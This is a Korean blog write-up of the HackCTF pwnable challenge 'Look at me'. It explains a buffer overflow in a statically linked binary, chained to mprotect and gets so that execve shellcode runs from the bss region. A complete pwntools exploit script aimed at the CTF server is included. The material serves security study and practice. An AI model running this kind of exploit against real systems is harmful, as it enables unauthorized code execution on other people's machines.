일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- _IO_FILE
- heap
- DFB
- UAF
- Dynamic Analysis
- GOT overwrite
- vtable
- __environ
- srop
- H4CKING GAME
- master canary
- DreamHack
- malware
- BOF
- HackCTF
- heap feng shui
- ROP
- Reversing
- heap exploit
- _IO_FILE Arbitrary Address Write
- shellcode
- K-shield Junior
- _IO_FILE Arbitrary Address Read
- 나뭇잎 책
- DFC 2022
- Android
- tcache
- RTL
- seccomp
- Lazenca
Archives
- Today
- Total
Studying Security
[HackCTF] pwnable: Look at me 풀이 본문
728x90
반응형
Mitigation
Vulnerability Analysis
lookatme 바이너리 파일의 경우 statistically linked 되어 있는 함수였다
IDA로 열어보니 여러 함수들이 파일에 올려져 있는 것을 확인할 수 있었다
import하고 있는 library파일도 없기 때문에 system함수나 execve함수를 사용할 수가 없음...
바이너리 파일안에 있는 함수를 뒤져봐야겠다
이 곳에 mprotect라는 함수가 존재하는데 manual을 찾아보니
설명에 changes the access protections for the calling process's memory pages라고 나온다
이걸로 어떤 주소 범위의 access 권한을 변경할 수 있나보다
대신 addrss는 반드시 페이지 경계에 맞게 주어져야 한다고 한다
이를 이용하여 bss영역에 쓰기권한과 실행권한을 주고 해당영역에 shellcode를 입력한 다음 이를 실행 시켜보자
RTL Chaining payload작성
mprotect( bss, 0x400, 7 ) → bss영역에 쓰기권한 실행권한 주기
gets( bss ) → bss영역에 shellcode 입력
bss주소 → shellcode 실행
Exploit code
from pwn import *
def slog(name,addr): return success(": ".join([name,hex(addr)]))
p = remote("ctf.j0n9hyun.xyz",3017)
e = ELF("./lookatme")
gets = 0x804f120
mprotect = 0x806e0f0
pr = 0x08048433
pppr = 0x080483c8
bss = e.bss()+0x80
slog("bss", bss)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
p.recvline()
payload = "A"*0x18 + p32(0)
# mprotect(bss, 0x400, 7)
payload += p32(mprotect) + p32(pppr) + p32(bss) + p32(0x400) + p32(7)
# gets(bss)
payload += p32(gets) + p32(pr) + p32(bss)
# bss == shellcode
payload += p32(bss)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
Result
새로 접한 사실
mprotect 함수: 임의의 메모리 영역을 원래 부여된 권한과 관계없이 변경 가능하다는 점을 깨달음
반응형
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] pwnable: ROP 풀이 (0) | 2022.04.12 |
---|---|
[HackCTF] pwnable: Gift 풀이 (0) | 2022.04.10 |
[HackCTF] pwnable: RTL_Core 풀이 (0) | 2022.04.10 |
[HackCTF] pwnable: 1996 풀이 (0) | 2022.04.10 |
[HackCTF] pwnable: Poet 풀이 (0) | 2022.04.10 |
Comments